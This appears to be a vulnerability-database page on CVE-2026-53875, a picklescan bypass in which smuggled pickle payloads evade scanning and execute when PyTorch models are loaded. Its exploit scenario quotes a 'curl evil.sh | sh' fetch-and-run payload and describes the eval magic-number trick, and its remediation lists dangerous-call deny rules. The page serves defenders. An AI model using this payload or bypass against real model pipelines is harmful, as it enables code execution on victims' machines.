picklescan
CVE-2026-53875
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft PyTorch payload with __reduce__(eval, MAGIC)
-
DeliveryUpload model to hub/registry
-
ExploitVictim runs picklescan <1.0.3, scanner reports clean
-
InstallVictim calls torch.load(weights_only=False)
-
C2pickle VM executes attacker __reduce__
-
ExecuteArbitrary code runs as loading user
-
ImpactPersist on ML training host
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires (1) the victim environment to be running picklescan <1.0.3 against the malicious file, (2) the victim to subsequently deserialize the same file with torch.load() using weights_only=False (the legacy default; the safer weights_only=True path does not execute __reduce__ and blocks the attack), and (3) the attacker to be able to deliver a .pt/.pth file to the victim - typically via a public model hub, a shared artifact registry, a supply-chain pull request, or any other channel the victim treats as trusted because picklescan cleared it. No authentication to the scanner or the victim system is needed (PR:N), but the attack is not zero-click: a human or automation must explicitly invoke torch.load with unsafe deserialization enabled (UI:P), which is exactly the limit the CVSS 4.0 vector reflects. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N) scoring 7.1 is internally consistent: delivery is network-borne (downloading a model from Hugging Face, a registry, or a teammate), no authentication is required against the scanner, but a user must actively load the model with torch.load(weights_only=False), which is the UI:P passive interaction. Real-world risk is meaningfully higher than the headline number suggests because picklescan is specifically the control many ML platforms rely on to declare a model 'safe' - a working bypass directly defeats that gate, and a full PoC is public in the GHSA advisory and VulnCheck writeup (publicly available exploit code exists). No EPSS score and no CISA KEV entry were provided in the input, so active in-the-wild exploitation cannot be asserted, but given the popularity of the ML model supply chain as a target and the simplicity of the trick, treat this as a high-priority patch for any pipeline that ingests third-party .pt/.pth files. One signal worth flagging: the GHSA lists the fix as 1.0.3 while the linked commit (2a8383c) only bumps setup.cfg from 0.0.25 to 0.0.26, so the exact released version number should be re-verified against PyPI before pinning. |
| Exploit ScenarioDerived | An attacker publishes a benign-looking PyTorch model (e.g., a fine-tuned LLM checkpoint) on a public model hub, crafted with a payload class whose __reduce__ returns (os.system, ('curl evil.sh | sh',)) and whose magic number is smuggled via a (eval, ('MAGIC_NUMBER',)) reducer. A data scientist or an automated CI step scans the file with picklescan <1.0.3, which reports zero infected files and zero dangerous globals because pickletools.genops() never sees the magic as an INT/LONG opcode. The model is then loaded with torch.load(file, weights_only=False) on a developer workstation or GPU training node, executing the attacker's command as the loading user - a public end-to-end PoC for this exact flow is in GHSA-97f8-7cmv-76j2. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 17, 2026
Scanner evasion in picklescan versions prior to 1.0.3 lets an attacker smuggle malicious PyTorch pickle payloads past the scan_pytorch detection routine and gain arbitrary code execution when the model is later loaded with torch.load(). The bypass exploits a parser-differential between picklescan's pickletools.genops()-based magic-number extraction and PyTorch's pickle_module.load(), allowing a __reduce__(eval, ('MAGIC_NUMBER',)) trick to produce files that scan as clean but still deserialize correctly. A detailed proof-of-concept is published in the GHSA advisory and the VulnCheck writeup; no CISA KEV listing or EPSS score was supplied in the input.
RemediationAI
Vendor-released patch: upgrade picklescan to 1.0.3 or later (pip install --upgrade 'picklescan>=1.0.3'); the fix lands in commits 2a8383cfeb4158567f9770d86597300c9e508d0f and 134179474539648ba7dee1317959529fbd0e7f89 referenced from GHSA-97f8-7cmv-76j2. Until the upgrade is rolled out everywhere that ingests model files, stop relying on picklescan as a sole 'safe to load' signal and load PyTorch checkpoints with torch.load(..., weights_only=True) - this restricts deserialization to safe tensor primitives and blocks the __reduce__/eval gadget entirely, at the cost of breaking models that legitimately serialize Python objects (custom classes, lambdas, optimizer states with arbitrary callables). For pipelines that must accept full pickle models, sandbox the load in a network- and filesystem-restricted process (seccomp, gVisor, or a disposable container), and reject any pickle that contains REDUCE/GLOBAL opcodes referencing eval, exec, os.system, subprocess, or __import__ as a complementary scanner rule. Restrict accepted model sources to a signed/internal registry rather than ad-hoc Hugging Face downloads to reduce attacker reachability.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
picklescan is a Python pickle malware scanner widely used in ML supply-chain tooling to vet PyTorch model files before they are deserialized. Its scan_pytorch path calls get_magic_number(), which iterates pickle opcodes via pickletools.genops() and only treats values whose opcode name contains INT or LONG as the magic number. PyTorch's own _legacy_save / serialization.py instead executes the pickle stream through pickle_module.load(), which honors REDUCE opcodes and therefore evaluates a (eval, ('MAGIC_NUMBER',)) reducer at load time to recover the same integer. This semantic gap between a static opcode walker and a real pickle VM is the textbook root cause behind CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / 'Eval Injection'): the scanner's model of the file diverges from the consumer's model, and the malicious __reduce__ that smuggles code execution rides through on the same parser-differential.
Know when Picklescan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Malicious model is delivered over the network with no auth to the scanner (AV:N/PR:N), but the victim must invoke torch.load with unsafe deserialization (UI:R); successful __reduce__ yields full code execution, so C/I/A:H.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
picklescan before 1.0.3 contains a scanning bypass vulnerability in the scan_pytorch function that allows attackers to embed malicious magic numbers via dynamic eval using the __reduce__ trick. Attackers can craft malicious PyTorch payloads that evade picklescan detection while remaining executable, enabling arbitrary code execution when loaded with torch.load().
Executive ViewAI
picklescan versions prior to 1.0.3 fail to detect malicious PyTorch models that exploit parser differences between the scanner and the PyTorch loader, enabling arbitrary code execution when models are deployed. Organizations using picklescan to validate model safety face the risk of deploying compromised machine learning models that evade detection. This vulnerability directly threatens the integrity of ML/AI supply chains and production systems.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)CVE.org
More in Picklescan
View allRemote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio
An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot
An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0
Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle
Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle
Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr
Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing
Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i
Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using
Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th
Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB